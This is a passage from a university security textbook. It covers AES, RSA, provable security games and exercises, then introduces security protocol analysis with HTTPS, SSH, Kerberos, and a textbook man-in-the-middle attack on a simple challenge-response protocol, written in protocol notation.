reflects that using the best known attack the attacker would have to do a similar
amount of work as randomly trying to guess an n-bit key.

9.5.2 Advanced Encryption Standard (AES)

A new standard was introduced in 2001: the Advanced Encryption Standard
(AES) based on the Rijndael cipher. This cipher was chosen from several
competing encryption schemes (the ‘AES candidates’). AES uses a 128, 192 or
256 bit key to encrypt 128bit blocks. Here we will focus on the 128 bits version
of the algorithm.
The input to AES is ordered into a 4 x 4 matrix of bytes and bytes are seen
as elements of finite field GF(28 ). The following four basic operations are used
in AES:

AddRoundKey which XORs the current state with the round key. The round
key is also represented by a 4x4 byte matrix. We do not treat how the
round key is derived from the main key here.

SubBytes which applies an S-box substitution on each byte of the state. The
S-box that is used is given below (in hexadecimal format). Unlike the DES
S-box the AES S-box is invertible. Also, the AES S-box can be expressed
as a combination of several functions, allowing it to be computed rather
than stored, which may be relevant for devices with very limited storage
capability.

ShiftRows which rotates each row a number of steps. Row n is rotated n − 1

places to the left, i.e. the first row is not changed, the second row is rotated
6 Remember to consider what ‘secure’ means in this context.
7 Choosing the first two keys of triple DES equal the decryption cancels out the first
encryption and the end result is the same as doing a single DES encryption with the third key.
In this way we get backward compatibility with single DES; triple DES encryption hardware
can also be used to do DES encryptions.
9.5. EXAMPLE ALGORITHMS 171

| 0 1 2 3 4 5 6 7 8 9 a b c d e f
---|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|
00 |63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76
10 |ca 82 c9 7d fa 59 47 f0 ad d4 a2 af 9c a4 72 c0
20 |b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15
30 |04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75
40 |09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84
50 |53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf
60 |d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8
70 |51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff f3 d2
80 |cd 0c 13 ec 5f 97 44 17 c4 a7 7e 3d 64 5d 19 73
90 |60 81 4f dc 22 2a 90 88 46 ee b8 14 de 5e 0b db
a0 |e0 32 3a 0a 49 06 24 5c c2 d3 ac 62 91 95 e4 79
b0 |e7 c8 37 6d 8d d5 4e a9 6c 56 f4 ea 65 7a ae 08
c0 |ba 78 25 2e 1c a6 b4 c6 e8 dd 74 1f 4b bd 8b 8a
d0 |70 3e b5 66 48 03 f6 0e 61 35 57 b9 86 c1 1d 9e
e0 |e1 f8 98 11 69 d9 8e 94 9b 1e 87 e9 ce 55 28 df
f0 |8c a1 89 0d bf e6 42 68 41 99 2d 0f b0 54 bb 16

Figure 9.11: The AES S-box

1 place to the left etc. As an effect, each column after the shift depends
on every column before the shift.

MixColumns which combines the four bytes in each column to a new column
by multiplying with the following matrix:

2 3 1 1
1 2 3 1
1 1 2 3
3 1 1 2

Within GF(28 ) addition and multiplication work as follows: Addition

is XOR. Multiplication by 2 is a shift 1-bit to the left. If the most
significant bit is 1 this results in a result larger than 8 bits so the modulus
operation in GF(28 ) is applied which corresponds to doing an XOR with
1B (hexadecimal), such that the result fits in 8 bits again. MixColumns
can be inverted by multiplying with a different matrix.

The basic functions are combined into ten rounds as follows: In the first round a
single AddRoundKey is performed. Rounds two to nine perform the sequence
SubBytes, ShiftRows, MixColumns, AddRoundKey and the final round leaves
out MixColumns, thus performing SubBytes, ShiftRows, AddRoundKey.
Each AES operation is invertible. Decryption simply inverts each encryption
step in the reverse order.

9.5.3 RSA
In 1978 Rivest, Shamir and Adleman were the first to publish a public key
system. Their RSA system works as follows:
172 CHAPTER 9. CRYPTOGRAPHY

Setup and key generation: Randomly choose two large prime numbers p, q
and compute modulus n = p ∗ q. Pick e and d such that ed = 1 mod φ(n)8
(knowing p and q one can compute d for a given e e.g. by using the extended
Euclidean algorithm). The public key is (e, n) and the private key (d, n). That
is, e and modulus n are made public and d is kept secret. The way of choosing e
and d guarantees that aed = a mod n for any a.
Encryption A plaintext can be any number less than n. To encrypt a plaintext
P raise it to the power e (modulo n), c = P e mod n.
Decryption To decrypt a cipher text C raise it to the power d (modulo n),
P = C d mod n.
The way of choosing e and d guarantees that aed = a mod n for any a.
Thus decryption works because C d = P ed mod n = P mod n. The public
information (e and n) is not sufficient to find d, p, q or φ(n) and this is essential
as knowing any of these would allow (finding d and) decrypting messages.
The large prime numbers p and q are randomly chosen; an attacker should
not be able to guess them. They should be sufficiently large as should their
difference (|p − q|) to ensure factoring n is actually difficult. All users should
have their own, distinct modulus n. The public key e is typically chosen to be
convenient value such as 3, 7 or 216 + 1 as this allows for efficient encryption
(and as we will give away this value anyway there is no need for it to be random).
The private key d on the other hand should be big (close in size to n) to prevent
it being guessed or derived efficiently from e and n.
As we are working modulo n there are up to n possible values. Thus if we work
in blocks as with symmetric ciphers, the maximum block size with RSA is log2 (n).
There are several ways to represent blocks as numbers in 0, . . . , n. Typically
some form of padding is used, for example by forming the most significant bits
from random salt creating a randomized encryption. The padding ensures that
the numbers are not too small which would give several problems: if plaintext P
is a small number then P e may be smaller than n (recall that e may be small)
and thus we are doing normal integer arithmetic where taking an eth-root is
easy, instead of modular calculations where such an operation is hard.
Note that for RSA encrypting and decrypting are the same except for the
use of a different key and, as de = ed = 1 mod φ(n) we can reverse the role of
the encryption and decryption key; i.e. thus first decrypting a message and then
encrypting it also results in the same message. With this we can also use RSA
to perform signing; by decrypting the message we want to sign we generate a
signature that anyone can check with the public key and that only the holder
of the secret key can create. (We typically sign hashes of message rather than
messages themselves. If you are interested see the reading material, Handbook
of applied cryptography [22, Chapter 1], for more on hashes.)
The structure of RSA encryption and decryption also gives several other
properties, for example that the encryption of the product of two messages is
the product of the encryptions (modulo n), E(m ∗ m0 , (e, n)) = E(m, (e, n)) ∗
E(m0 , (e, n)) mod n. Combined with the observation above this allows one
to create blind signatures, i.e. to have Alice sign Bob’s message without Alice
learning the message: Bob generates a random mask r, encrypt this mask
with Alice’s public key (e, n) and multiplies the message (modulo n) with the
encrypted mask. The result, m ∗ re , is given to Alice to sign (decrypt). This
8 φ(n) = φ(p ∗ q) = (p − 1) ∗ (q − 1) for primes p and q.
9.6. COMPUTATIONAL SECURITY 173

text does not reveal anything about m to Alice and by signing it she creates the
signature of m masked (i.e. multiplied) with r.
D(m ∗ re , (d, n)) = (m ∗ re )d mod n = md ∗ r mod n
Bob can now remove the mask by dividing by r.

9.6 Computational Security

RSA requires a significant amount of computation to encrypt and especially to
decrypt. Also, the mathematical structure used for RSA implies that keys have
to be big to prevent attackers from e.g. factoring the modulus n. So how large
does the key need and what are the costs of working with such large numbers;
how does the encryption and decryption performance compare to e.g. that of a
block cipher?
Public key systems are typically significantly slower than symmetric systems
and often require larger keys for the same level of security. When considering
how large a key is needed, consider the capabilities of an attacker when they
perform the attack. If the encrypted data is to stay secret for three decades then
we need to plan ahead and consider the computational power that an attacker
may have in 30 years.
If we use a large key, is an algorithm such as RSA secure? What does this
exactly mean; when is RSA broken? In the symmetric setting we can achieve
‘unconditional security’ (i.e. information theoretical security) with the one-time
pad. Even an attacker with unlimited computational power could not break this
cipher because there was no way of validating whether a guessed/found key is
correct. For RSA unconditional security is clearly not achievable; an attacker
with unlimited computational power could theoretically factor modulus n for any
size key which is enough to compute the private key from the public key. In the
public key setting in general the attacker can always encrypt messages herself
(as she knows the public key) and thus check whether these decrypt correctly
(with a guessed secret key), allowing elimination of incorrect key guesses. Thus
we cannot expect any unconditionally secure cipher in this setting.
Luckily no attacker has unlimited resources. Above we argued that breaking
the system would require solving a problem that would be too hard. Thus we aim
for computational security: breaking the cipher should not be computationally
feasible for the attacker. But what exactly is hard and how can we be sure that
the attacker cannot think of a way to break the system without solving this
hard problem? To answer the first part of this question we recall some basic
complexity theory.
Definition 9.6.0.1 Consider a problem which can have instances of different
sizes. We say such a problem is in complexity class P(polynomial time) if there
exists a (deterministic) algorithm which solves the problem and the time it takes
grows at most polynomial in the size of the problem.
We say a problem is in complexity class NPif there exists a non-deterministic
algorithm which solves the problem in polynomial time. (Equivalently we could
say that there exists an algorithm that can check a given solution to the problem
in at most polynomial time.)
We say that a problem is ‘hard’ when it is not in P. Having a hard problem,
however, is not enough to construct a public key cryptography system; we need
174 CHAPTER 9. CRYPTOGRAPHY

a problem that is hard for an attacker but easy for the holder of the private key.
We need a trapdoor function, i.e. a function that is:

• easy to compute in one direction (to be able to encrypt)

• hard to compute the inverse without the secret (an attacker should not be
able to decrypt)
• easy to compute the inverse with the secret (the secret key holder should
be able to decrypt)

A first natural question to ask is: do such functions actually exist? The
perhaps surprising answer is that this is not known. A fundamental unanswered
question of complexity theory is whether P is equal to NP. Suppose that we
were to find a trapdoor function then computing its inverse (by the attacker)
is a problem that is not in P but is in NP which would prove that P = 6 NP:
computing the inverse is not allowed to be in P as it must be a hard problem for
the attacker. Yet, computing this inverse is easy for the holder of the key. Thus
a non-deterministic algorithm could first ‘guess’ the secret and then perform the
same computations as the key holder.
Still, though no-one has proven the existence of trapdoor functions, many
candidates exist which have been studied extensively and for which no efficient
algorithm to compute the inverse are known. One example is factoring the
product of two primes; creating the product from the primes is easy while
factoring a (large) number is difficult. However, if you know one of the two
primes finding the other is easy again.

Showing Computational security? We have just seen that there are no

provably hard trapdoor functions. As such it would be impossible to prove that
any asymmetric crypto system is actually computationally secure. For example,
the security of RSA depends on the fact that factoring of two primes is hard.
Thus its security inherently relies on an unproven fact. However, this problem
has been studied so extensively that we can be reasonably certain it is at least
hard enough that an attacker will not manage to solve it in general (if they did
they could win a Nobel prize instead of decrypting our data...) So perhaps we
can safely assume that this problem is hard. But is that enough to make our
crypto system secure? Clearly we have to make the right choices (large keys,
etc.) but we also need to know there is no way around our system without
breaking the ‘hard’ problem. This is where provable security comes in: we prove
that breaking the cipher implies solving some supposedly hard problem.
First we need to be more precise on what ‘breaking’ the cipher means; what
information does the attacker get and what does she need to learn to consider
the cipher broken? Answering these questions requires specifying the exact setup,
knowledge of the attacker and their goal. An easy to understand way to do this
is by expressing security properties in the form of a game between us as the
keyholder and the attacker (opponent). In the game for property IND-CPA we
give the opponent the encryption (called the challenge) of one out of two texts
and the opponent has to guess which one it is.

Example: IND-CPA Security Game The INDistinguishability under Chosen-

Plaintext Attack (IND-CPA) security game consists of the following steps:
9.6. COMPUTATIONAL SECURITY 175

• The opponent picks two plaintexts.

• We randomly pick one of these two texts, encrypt it and give the
result (called the challenge) to the opponent.
• The opponent guesses which of the two plaintexts was encrypted to
get the challenge.

Of course the opponent could simply randomly guess, giving a probability

of 1/2 of being correct. But perhaps the attacker can do better by examining
the cipher text that we provide. How much better the attacker can do we call
the attacker advantage: |P (correctguess) − 1/2|. (Note that being able to guess
wrong most of the time also implies it is also possible to guess correctly most of
the time, hence the use of the absolute value here.)
We say the attacker ‘wins the game’ if there is a distinct attacker advantage.
The attacker advantage will depend on the security parameter which captures
the ‘problem size’, for example the length of the key used. As the problem grows
it is no longer realistic for an attacker to e.g. try decrypting with all possible
keys. Formally we can thus put that a cipher is IND-CPA secure if the attacker
advantage is negligibly small (goes to zero faster than 1/p for any polynomial p)
for any polynomial-time attacker. Paraphrasing; the advantage of an attacker
with a realistic amount of resources will go down exponentially as the key size
grows.
The setup of the IND-CPA game matches a situation where the attacker has
a single cipher text to examine and captures the worst case scenario for this
case. If the attacker can tell that any plaintext is more likely than any other for
this cipher text, this game will give her an advantage and thus allow her to win
the game. Thus IND-CPA security gives us that the attacker will not be able
to learn anything from a single cipher text. But what if the attacker has even
more information, for example several cipher texts or even several plain-cipher
text pairs? In this case she might be able to break the cipher using this extra
information even when she cannot win the IND-CPA security game. To state
that a cipher is suitable for such situations we need a stronger notion of security
expressed by an easier to win (by the opponent/attacker) security game. There
are several different security games to describe security of ciphers in different
usage scenarios. The indistinguishability under adaptive chosen-ciphertext attack
(IND-CCA2) security game is one such game where the attacker has access to
an encryption and decryption oracle, i.e. can encrypt any plaintext and decrypt
all cipher texts except, of course, the challenge itself. From the games it is clear
that IND-CCA2 security implies IND-CPA security. (Any winning strategy for
the IND-CPA game can also be used to win the IND-CCA2 game.)

Security Proofs As mentioned above, being able to factor large numbers

implies the ability to break RSA. But is the reverse also true; is breaking RSA
(i.e. winning the security game) really as hard as factoring large numbers (or
another difficult problem9 )?
A security proof of an asymmetric cryptography system shows that breaking
the system (i.e. winning the security game) implies breaking some problem that
is assumed to be hard. A cipher for which such a proof exists is then referred to
9 If one is able to take the e-th root then one can break RSA. It is not known whether this

is equivalent with factoring n.

176 CHAPTER 9. CRYPTOGRAPHY

as being ‘provably secure’. Although such a proof is a very useful validation of

the encryption one has to be careful in the interpretation of the term ‘provably
secure’: it shows that breaking the cipher in a specific setting is at least as hard
as some problem which is assumed to be hard in general. This by itself does not
guarantee that our specific instance of the problem is not breakable (perhaps
the problem was not really hard or we chose our parameters poorly (e.g. keys
too small) leading to a specific instance of the problem that is easy to solve).
Even if the problem is theoretically hard you have to choose an instance
that is also hard in practice; see e.g. the discussion on key choices for RSA
above as an example. Factoring can become easy if you do not choose your
primes carefully. Finally security proofs are difficult to make, requiring subtle
probabilistic reasoning, and many mistakes have been discovered in published
proofs. While there is a lot of ongoing research (e.g. there is an ongoing conference
series on provable security [9]), for example to further formalize such proofs [11,
18] and make them machine checkable, provable security remains a complex issue.
The same holds for translating provable to practical security [4, 19].

9.7 Summary
The goal after this chapter is that you will have a good idea of the basics of
cryptography; know how symmetric and public key ciphers can be used and are
able to give examples of these ciphers. It should also be clear what ‘cipher X
is secure’ means in any given context and you should be able to check whether
this is the case for a given setting and scheme.

9.7.1 Literature
Suggested reading/viewing
• Watch the first 9 minutes of the following monologue by John Oliver on the
Apple-FBI ‘encryption conflict’: https://youtu.be/zsjZ2r9Ygzw. Think
about who is right in this discussion (Apple or FBI) and why.
• Security Engineering Introduction [3, Ch 5].
• Handbook of applied cryptography [22, Ch 1, Sec 7.1-7.4,Sec 8.1-8.4].

9.8 Exercises (not graded: exam preparation)

1. Give four block modes for encrypting large messages.
2. Do block modes apply only to symmetric cipher or are they also relevant
to asymetric ciphers? Why?
3. What are main benefits of padding with random salt when using RSA?
4. Once again consider the online music store scenario of Exercise 6 in Chap-
ter 1. Enhance the requirements you extracted and security design that
you made by considering threats and techniques introduces in this chapter.
Indicate how you would apply the techniques, what trade-offs this imposes
and what effect they have on both the attacks as well as on the goals of the
9.8. EXERCISES (NOT GRADED: EXAM PREPARATION) 177

legitimate actors in the system, and, if applicable what new goals/actors

you need to introduce.

5. Decipher the following (English) text:

Ftq Husqzqdq oubtqd ue zaf hqdk eqogdq.

6. Suppose that amongst six people each pair wants to be able to communicate
securely without the others being able to eavesdrop.

(a) How many different keys will they need in total if they use a symmet-
ric encryption algorithm and how many if they use an asymmetric
encryption algorithm?
(b) How many keys does a person have to store secretly in both cases?

7. Four methods to encrypt multi-block messages are ‘Electronic Code Book’,

‘Cipher Block Chaining’, ‘Output Feedback’, and ‘Cipher Feedback’. (See
Figure 9.9.)

(a) Give the corresponding decryption schemas.

(b) CBC has limited error propagation. Explain why this is so and give
the error propagation for the other schemas.
(c) Compare the methods on the aspects secrecy, integrity and perfor-
mance.
(d) Two users notice that the under the same conditions the same mes-
sage always has the same encryption and decide to randomize the
encryption by prefixing message with a randomly chosen block, i.e.
by encrypting R,B1,B2,...,Bn rather than B1,...,Bn.
i. Why would you want to randomize the encryption?
ii. For which of the methods above would this work?
iii. Could you use the IV factor (for the methods that use one)
instead? (Explain)

8. Entropy describes the amount of randomness in an unknown event/piece

of data; a higher entropy indicates that more information is needed to be
able to predict the outcome.

(a) What has a higher entropy?

i. The roll of a fair dice or an unfair dice.
ii. A coin toss or a roll of a dice.
iii. The state of the union address of 2008 or a pincode
(b) The (Shannon) entropy (in bits) can be calculated with the formula -
Σp(x) · log2 p(x) where x ranges over all possible outcomes and p(x) is
the probability of outcome x. Check your intuition in the previous part
by calculating the entropies. (Choosing any appropriate probability
distribution for the ‘unfair dice’.)
(c) Show that the uniform distribution over a domain of size 2n has an
entropy of n. (This is the highest entropy that can be achieved on
this domain.)
178 CHAPTER 9. CRYPTOGRAPHY

9. The one-time pad makes a message indistinguishable from messages of

equal length. With letters (instead of bits) you can apply the one time
pad by adding the key to the message modulo 26.

(a) This looks a lot like the Vigenere cipher. Why does the analysis
method to attack that cipher not work here?
The encryption is secure no matter the amount of computational
power the attacker has available; even trying all possible keys will not
help the attacker:
(b) Find two keys such that ciphertext ‘AFIGHT’ decodes to ‘YESYES’
and ‘NONONO’.
The one-time pad is not very convenient in use; the key is as long as
the message and can only be used once.
(c) What happens if the key of a one-time pad is reused?
(d) Would it be possible to make an unconditionally secure cipher with a
shorter or reusable key? (Remember question 8)?
Chapter 10

Analysis of Security
Protocols

10.1 Introduction
A protocol is a ‘recipe’ for communication; it describes the sequence of messages
that the participants in the communication should send and earlier in the course
we have seen protocols working at different layers of the network stack. Here
we focus on so called security protocols, protocols that aim to provide secure
communication over an otherwise insecure channel. Here ‘secure’ can mean
different things. It could refer to confidentiality of the data exchanged, to proper
authentication of the parties involved and their messages, to a combination
thereof, etc. For Internet banking, for example, one would want both authen-
tication and confidentiality. Obviously the requests for transfers by the client
need to be authenticated but also the bank should be properly authenticated
before you enter your login information so this information does not get stolen
(for example by a phishing attack) and misused. Confidentiality is needed to
protect the privacy of the client (as well as to keep the login information secret).
In earlier chapters we have seen mechanisms that can help achieve the goals
of security protocols; symmetric encryption, digital signatures, etc. Engineering
a good security protocol requires combining these methods in a way such that all

Figure 10.1: A login page over HTTPS with some security goals.

179
180 CHAPTER 10. ANALYSIS OF SECURITY PROTOCOLS

desired security properties are achieved. In this chapter we will look at how to
analyse security protocols which, as cryptography plays a large role in achieving
the security properties of protocols, are also often referred to as cryptographic
protocols.

10.2 Example Security Protocols

HTTPS To ‘securely’ browse on the web, HTTPS i.e. HTTP over a Transport
Layer Security (TLS) connection is used. With HTTPS the server is authenticated
(based on a certificate authority tree using certificates; see previous chapter)
and confidentialilty, integrity and authenticity of the communication is provided.
For the user the authenticity is a guarantee that they are indeed communicating
with the correct server; the one that belongs to that webaddress (according to
the certificate authority - CA). The client typically does not have certificates to
prove identity; the authenticity for the webserver only means that all messages
come from the same (unidentified) party. To identify the party it needs to employ
other mechanisms; e.g. having the user enter a username and password (see also
Section 7.2 where we addressed (user) authentication and observed the need for
authentication protocols) once the connection has been established. Figure 10.1
shows an example of this. A login page is presented over HTTPS. The client can
now authenticate by entering their login credentials while the TLS connection
protects confidentiality of these credentials while in transit to the server.
Because the server has a (certified) public key but the client does not, in the
setup of the connection we can send messages confidentially from the client to
the server but not the other way around. As such the client should generate
the secret (random number) on which the session key is based (any contribution
from the server is to be seen as public information).1

SSH Another commonly used security protocol is Secure Shell (SSH) which is
used to remotely log onto a server. It is a transport layer protocol that supports
tunneling, in which traffic for e.g. X11 (graphical interface) connections can be
forwarded over the secure SSH connection. SCP for securely copying files and
SFTP, a secure alternative for FTP (File Transfer Protocol), also use SSH. SSH
supports password authentication of the client but also a public key can be used;
you place your public key on your account on the server. Your local SSH client
can then connect to the server by using your private key instead of you entering
a password. (Though you would likely want to protect your private key with a
password/phrase but then against attackers with access to your machine rather
than eavesdroppers on the network - i.e. a completely different attacker model.)
External authentication (e.g. Kerberos, see below) is also possible.
Technically SSH is very similar to SSL/TLS and they achieve similar goals
(creating a secure channel between a client and a host). SSL is mostly used
for web traffic that needs to be secure, such as when transmitting valuable
information (e.g. a credit card number) over the internet while SSH is often used
for security executing commands remotely. SSL focuses on using certificates to
authenticate the server and does not do client authentication (though this can
1 TLS is basically a new version of SSL (Secure Sockets Layer). The names are often used

interchangeably.
10.2. EXAMPLE SECURITY PROTOCOLS 181

be done over the created secure connection) while SSH has client authentication
built in. The main reason for having both protocols is historical.

Figure 10.2: Setting of the Kerberos Authentication Protocol.

Kerberos The Kerberos network authentication protocol (illustrated by Fig-

ure 10.2) enables single sign on for users: after authenticating once to their local
client by entering their password, users can consume services from the network
without needing to authenticate (sign on) again. Commonly used on corporate
networks this is convenient for the user but also eases the mangement of user cre-
dentials; i.e. user accounts and credentials are stored in a single dedicated service
instead of having to be replicated to all services on the network. Other services
rely on the dedicated authentication service to perform the authentication.
To give access to another service, the authentication service issues a ticket.
This ticket enables the user to use that service. To prevent the authentication
server from getting overloaded with requests it only grants tickets for the most
important (from an authentication perspective) services. A so called Ticket
Granting Service (TGS) is used to grant tickets for other services. The user gets
a TGS ticket for this service from the authentication service and, for the validity
period of this TGS ticket, the user goes directly to the Ticket Granting Service
for tickets to application services.
The actual protocol for requesting and granting a ticket works as follows:
First Alice’s client (A) requests a ticket from the server S for the use of server
Bob (B):
A → S : A, B, T exp, NA
The server (S) returns a session key and an encrypted ‘ticket’ to give to Bob:
A ← S : {KAB , B, T exp, NA }KAS , {KAB , A, T exp}KBS
Alice’s client contacts service Bob:
A → B : {checksum, timestamp}KAB , {KAB , A, T exp}KBS
Alice and Bob now share a session key KAB and Bob knows that this key belongs
to Alice (A).
The description format used above is called an (informal) protocol narration.
It specifies which roles in the protocol are supposed to take which steps. A
corresponding textual description typically uses names for the letters (thus Alice
182 CHAPTER 10. ANALYSIS OF SECURITY PROTOCOLS

instead of A, Bob for B, etc.) Thus in the Kerberos protocol the role ‘user
client’, denoted ‘A’ and referred to as ‘Alice’ initiates the protocol by sending a
message to the address of the server S. The content of this message is Alice’s
identity, the server she wants a ticket for B, (in the protocol narration we do
not distinguish whether B is expressed as a public key, URL, ID number, IP,
MAC, etc.), until when the ticket should be valid (T exp) and a random number
NA . She then starts listening for a response from the server.
The server, initially listening for requests, responds to Alice’s message by
sending information for Alice and a ticket. The information for Alice consists of
a fresh session key KAB for Alice and Bob to use. As this key needs to remain
secret it is encrypted (notation: {. . .}K ) with the key KAS that the server and
Alice already share. Alice can decrypt the message and check the random number
NA and she learns KAB . Of course this key will look like any random string to
her so B is included in the message to confirm to Alice that this is for talking
to Bob. (Whether this is sufficient to prevent Alice from accepting an incorrect
key KAC is not directly obvious. Below we look at analysis of protocols in more
detail to be able to answer this type of question.)
Alice cannot decrypt the ticket {KAB , A, T exp}KBS as she does not have the
key KBS ; only Bob and the server have this key. Yet she can forward the ticket
to Bob along with an extra message that {checksum, timestamp}KAB which
confirms that she also knows KAB .
Note that once Alice and Bob share a key Bob can take the role of server
in a new run of the protocol. This occurs, for example, if Bob is the Ticket
Granting Service; Alice will contact server Bob to get a ticket for some other
service Charlie.
Kerberos can be used, not only within a single ‘realm’ (the services under
auspices of the authority which controls the authentication service) but also
across realms. (See Figure 10.3) A client in realm 1 wanting to use a service
in realm 2, will get a ticket for the authentication service of realm 2 from its
own authentication service. With that ticket it can then ask for a ticket of the
realm 2 service (which in turn may be the Ticket Granting Service for realm 2).

Figure 10.3: Cross domain authentication with Kerberos.

So what is the role of the random number NA ? Do we need to include B in

A’s information and A in the ticket for B? Should we include more, such as also
10.3. WHAT MAKES A SECURITY PROTOCOL TICK: PROTOCOL DESIGN183

B in the ticket for B? To be able to answer these questions we need to consider

the security goals of the protocol and how we can analyse the protocol. This is
the topic of the following sections.

10.3 What makes a security protocol tick: Pro-

tocol design
Above we have seen some examples of commonly used protocols. But what makes
a protocol work; how are the security goals achieved? Let’s try to construct
a very simple protocol for remote authentication of a user (Alice) to a server
(Bob). Recall from Section 7.2 that authentication of end users can be done using
different factors; what you know, are or have. In remote e-authentication you
use tokens. But how do you prove control over your token. This will typically
involve a secret related to the token. If the token is your password (a ‘what you
know’ token) this is the secret involved in proving control. To remotely prove
that you have something (e.g. a credit card) you will likely use a secret of that
object (e.g. the numbers printed on it). If using a biometric (‘what your are’)
token your biometric device would recognize you and likely use a secret, such as
a private key, to confirm your identity to a relying party. Thus an authentication
protocol is typically designed to prove control by the claimant over some form of
secret to a remote verifier.
Let us assume Alice knows a secret (such as a password) which is also stored
on the server and when Alice wants to authenticate she sends the secret. If the
attacker is not able2 to see messages between Alice and the device and cannot
guess the secret (see e.g. the discussion on passwords in Section 7.2) then this
solution works. On a computer network, however, we definitely need to consider
attackers that are able to eavesdrop on the communication. With such a slightly
stronger attacker model this approach is clearly not secure - after the first time
Alice authenticates the attacker also has the secret. Simply encrypting the secret
will not help; the attacker does not learn the secret but can simply send the same
message again (a so called replay attack ) to authenticate. The verifier needs to
know that a claimant in control of the token is involved now and not at some
point in the past; freshness of the proof of control is needed.
A challenge-response mechanism can be used instead to prove that Alice has
the secret without revealing it. The server sends a challenge (e.g. a random
number B → A : challenge) and Alice’s response should be one that only
Alice can make and only after Alice has received the challenge (A → B :
response(challenge, secret)). In this way upon receiving the response, the
server can be sure that Alice got the challenge and that Alice’s response is fresh
and not a response that Alice sent out in some earlier session. To send the
challenge the server needs to know that Alice wants to authenticate so she will
first have to alert the server (A → B : A).
Of course the server does not need to have the secret of Alice, only a way of
making a challenge that only someone with the secret (Alice) can answer and
of checking that the response is correct. Thus for our protocol let us assume
Alice’s secret is a secret key sk(A) and that Bob knows Alice’s public key pk(A).
Our first attempt at the protocol could than be: Bob’s challenge {N }pk(A) is
2 Remember security depends on the attacker model.
184 CHAPTER 10. ANALYSIS OF SECURITY PROTOCOLS

Figure 10.4: Basic authentication protocol, first attempt.

new random number N (called a nonce) encrypted with Alice’s public key. Alice
proves that she knows sk(A) by decrypting the challenge and sending back the
random number.
Here Alice is only trying to authenticate. However, usually the goal will be
to also exchange of some information such as a secret number that can be used
to create a session key. If we adapt the protocol as shown in Figure 10.4 by
encrypting the final message with the public key of Bob (A → B : {N }pk(B) ) we
might expect to also achieve secrecy of the nonce N .
Is the protocol correct? After running the protocol is server Bob really
‘talking to Alice’ and, for the adapted protocol, is N a secret known only by
Alice and Bob? One thing that the server does not know is how far away Alice is.
When remotely accessing some service on the network it likely does not matter
how far away the user is. When running a protocol between e.g. an OVchip card
and a metro access gate one would like to be sure that the user (card) is actually
at the gate. If a response comes within a millisecond the challenge and response
travelled at most (cannot exceed the speed of light) 0,001s * 300.000 km/s =
300km thus the responder is at most 150km away. To actually get useful distance
bounds one needs to use more advanced distance bounding protocols which are
outside the scope of this course. (See the master course Physical Aspects of
Digital Security (2IC35) if you want to learn about distance bounding protocols.)
In the protocol analysis treated here we will assume the location is irrelevant.
For authentication over the network Bob is ‘remotely’ talking to Alice. As
there is a network in between both Alice and Bob are (and are supposed to
be) talking to some routers rather than (directly) to each other. We will thus
define authentication to have correctly been completed if when Bob thinks he
has successfully completed the protocol with Alice then Alice did indeed run the
protocol and with the intention of authenticating to Bob. Secrecy of information,
of the nonce in this case, is easier to define; no one other than the intended
parties (Alice and Bob in this case) should learn the information.

Definition 10.3.0.1 A protocol is said to achieve authentication of party A to

party B if whenever B completes the protocol, apparently with A, A started the
protocol, apparently with B.

With the definition in place we can return to our original question; is the
protocol correct, does it achieve authentication of Alice? Of course this question
is not yet complete; we have defined the security goals but we also need to
give the attacker model. As the network is a dangerous place (see Chapter 8)
we play it safe in our attacker model and assume the worst case scenario in
which the attacker, we will call her Mallory, has full control over the network;
10.3. WHAT MAKES A SECURITY PROTOCOL TICK: PROTOCOL DESIGN185

Suppose that Alice uses an online banking service Bob and a subscription
based joke-a-day service Mallory. Both services use our protocol for authen-
tication. When Alice authenticates to Mallory to get her joke of the day,
A→M :A
Mallory misuses this fact and will try to pretend to be Alice to Bob
M (A) → B : A
Bob sends his challenge back to ‘Mallory pretending to be Alice’ (or directly
to Alice depending on how the routing works; it does not matter as Mallory
can intercept all messages).
B → M (A) : {N }pk(A)
Mallory cannot decrypt the message . . . but she can forward it to Alice . . .
M → A : {N }pk(A)
Alice is waiting for a challenge from Mallory and will be dutifully respond.
A → M : {N }pk(M )
Now this message Mallory can decrypt. She gets N and answers Bob’s
challenge.
M → B : {N }pk(B)
Now Mallory can empty Alice’s bank account and ‘the joke is at the expense
of Alice...’

Figure 10.5: A Mallory in the Middle attack on our protocol.

she can intercept all messages, block or change them, and create new messages.
The attacker may also have a valid identity (or even several) on the network
with which she can partake in protocol runs. However, we also need to assume
some limits on Mallory’s abilities. If she could also extract the nonce from
the challenge message {N }pk(A) without knowing Alice’s private key she can
easily break the authentication; she can send message A to Bob, intercept Bobs
response, extract the nonce N and return it to Bob. However, this is a problem
with the cryptography, and not with the protocol! We want to separate these
concerns; analyze the protocol without complicating matters too much with the
details of how the cryptography works. Thus in the protocol analysis we typically
assume that the cryptography simply works (the so called perfect cryptography
assumption).
Therefore our complete question becomes: Does the protocol achieve authen-
tication of Alice when the attacker has full control over the network but cannot
‘break the cryptography’ ? It may seem to work correctly at first glance; only
Alice can extract the nonce N from the message and, as it is fresh, when Bob
receives the nonce back he knows that Alice did this extraction after he sent it.
Thus Alice is alive and well and is answering the challenge. Yet what Bob does
not know is whether Alice is actually trying to authenticate to Bob. Perhaps
Mallory somehow tricked Alice into answering the challenge. The attack in
Figure 10.5 shows how Mallory might go about this.
The Man (Mallory) in the Middle attack (Figure 10.5) on our protocol works
186 CHAPTER 10. ANALYSIS OF SECURITY PROTOCOLS

as follows: Alice wants to authenticate to Mallory and when Alice sends her
authentication request to Mallory, Mallory sends one to Bob pretending to be
Alice in the protocol run with Bob. Bob will send a challenge to check whether
Mallory is actually Alice. Mallory cannot answer this challenge herself but can
forward it to Alice (pretending it came from Mallory herself). As Alice is waiting
for a challenge to come from Mallory, she is trying to authenticate to Mallory
after all, she will answer this challenge, decrypting the nonce and returning it to
Mallory encrypted with Mallory’s public key. In this way Mallory obtains the
nonce and can now answer the challenge from Bob by encrypting the nonce with
his public key.
Even in this simple example we managed to get it wrong. It seems to be
trickier than it looks. This is a general problem; even though protocols may
seem simple, it is easy to make mistakes.
“Security protocols are three line programs that people still manage
to get wrong.”
